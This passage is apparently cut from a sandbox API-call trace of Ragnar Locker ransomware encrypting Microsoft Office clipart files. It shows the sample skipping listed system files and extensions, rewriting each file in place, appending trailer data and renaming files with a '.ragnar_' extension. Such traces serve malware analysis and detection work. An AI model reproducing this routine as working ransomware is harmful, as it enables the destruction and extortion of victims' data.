LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6cc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.621] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6cc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6cc4, lpOverlapped=0x0) returned 1 [0090.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6cc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.622] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.622] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.622] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.622] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.622] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.622] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.622] GetProcessHeap () returned 0x580000 [0090.622] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.622] CloseHandle (hObject=0xf4) returned 1 [0090.622] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" [0090.622] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ragnar_FD7BD9FC" [0090.622] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01565_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01565_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.623] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a6e400, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8a6e400, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00017_.WMF", cAlternateFileName="")) returned 1 [0090.623] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.623] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00017_.WMF" | out: lpString1="SO00017_.WMF") returned="SO00017_.WMF" [0090.623] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF") returned=".WMF" [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="autorun.inf") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="boot.ini") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="bootfont.bin") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="bootsect.bak") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="bootmgr") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="bootmgr.efi") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="desktop.ini") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="iconcache.db") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="ntldr") returned 1 [0090.623] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="ntuser.dat") returned 1 [0090.624] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.624] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="ntuser.ini") returned 1 [0090.624] lstrcmpiW (lpString1="SO00017_.WMF", lpString2="thumbs.db") returned -1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.624] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf")) returned 0x20 [0090.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.625] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13994) returned 1 [0090.625] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.625] GetProcessHeap () returned 0x580000 [0090.625] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.625] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.626] VirtualAlloc (lpAddress=0x0, dwSize=0x36aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.627] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x36aa, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x36aa, lpOverlapped=0x0) returned 1 [0090.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.628] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x36aa, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x36aa, lpOverlapped=0x0) returned 1 [0090.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.628] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.628] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x36aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.628] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.628] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.628] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.629] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.629] GetProcessHeap () returned 0x580000 [0090.629] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.629] CloseHandle (hObject=0xf4) returned 1 [0090.629] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" [0090.629] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ragnar_FD7BD9FC" [0090.629] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00017_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00017_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.630] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0090.630] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.630] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00018_.WMF" | out: lpString1="SO00018_.WMF") returned="SO00018_.WMF" [0090.630] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF") returned=".WMF" [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="autorun.inf") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="boot.ini") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="bootfont.bin") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="bootsect.bak") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="bootmgr") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="bootmgr.efi") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="desktop.ini") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="iconcache.db") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="ntldr") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="ntuser.dat") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="ntuser.ini") returned 1 [0090.630] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="thumbs.db") returned -1 [0090.630] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.630] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.630] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.631] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.631] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.631] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.631] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf")) returned 0x20 [0090.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.633] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13046) returned 1 [0090.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.633] GetProcessHeap () returned 0x580000 [0090.633] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.633] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.634] VirtualAlloc (lpAddress=0x0, dwSize=0x32f6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.634] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.634] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x32f6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x32f6, lpOverlapped=0x0) returned 1 [0090.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.635] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.635] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x32f6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x32f6, lpOverlapped=0x0) returned 1 [0090.635] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.636] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x32f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.636] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.636] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.636] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.636] GetProcessHeap () returned 0x580000 [0090.636] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.636] CloseHandle (hObject=0xf4) returned 1 [0090.636] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" [0090.636] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ragnar_FD7BD9FC" [0090.636] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.637] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0090.637] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.637] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00152_.WMF" | out: lpString1="SO00152_.WMF") returned="SO00152_.WMF" [0090.637] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF") returned=".WMF" [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="autorun.inf") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="boot.ini") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="bootfont.bin") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="bootsect.bak") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="bootmgr") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="bootmgr.efi") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="desktop.ini") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="iconcache.db") returned 1 [0090.637] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="ntldr") returned 1 [0090.638] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="ntuser.dat") returned 1 [0090.638] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.638] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="ntuser.ini") returned 1 [0090.638] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="thumbs.db") returned -1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.638] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf")) returned 0x20 [0090.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.638] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31360) returned 1 [0090.638] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.638] GetProcessHeap () returned 0x580000 [0090.638] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.638] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.640] VirtualAlloc (lpAddress=0x0, dwSize=0x7a80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.640] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7a80, lpOverlapped=0x0) returned 1 [0090.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.642] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a80, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.642] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7a80, lpOverlapped=0x0) returned 1 [0090.642] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.642] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | 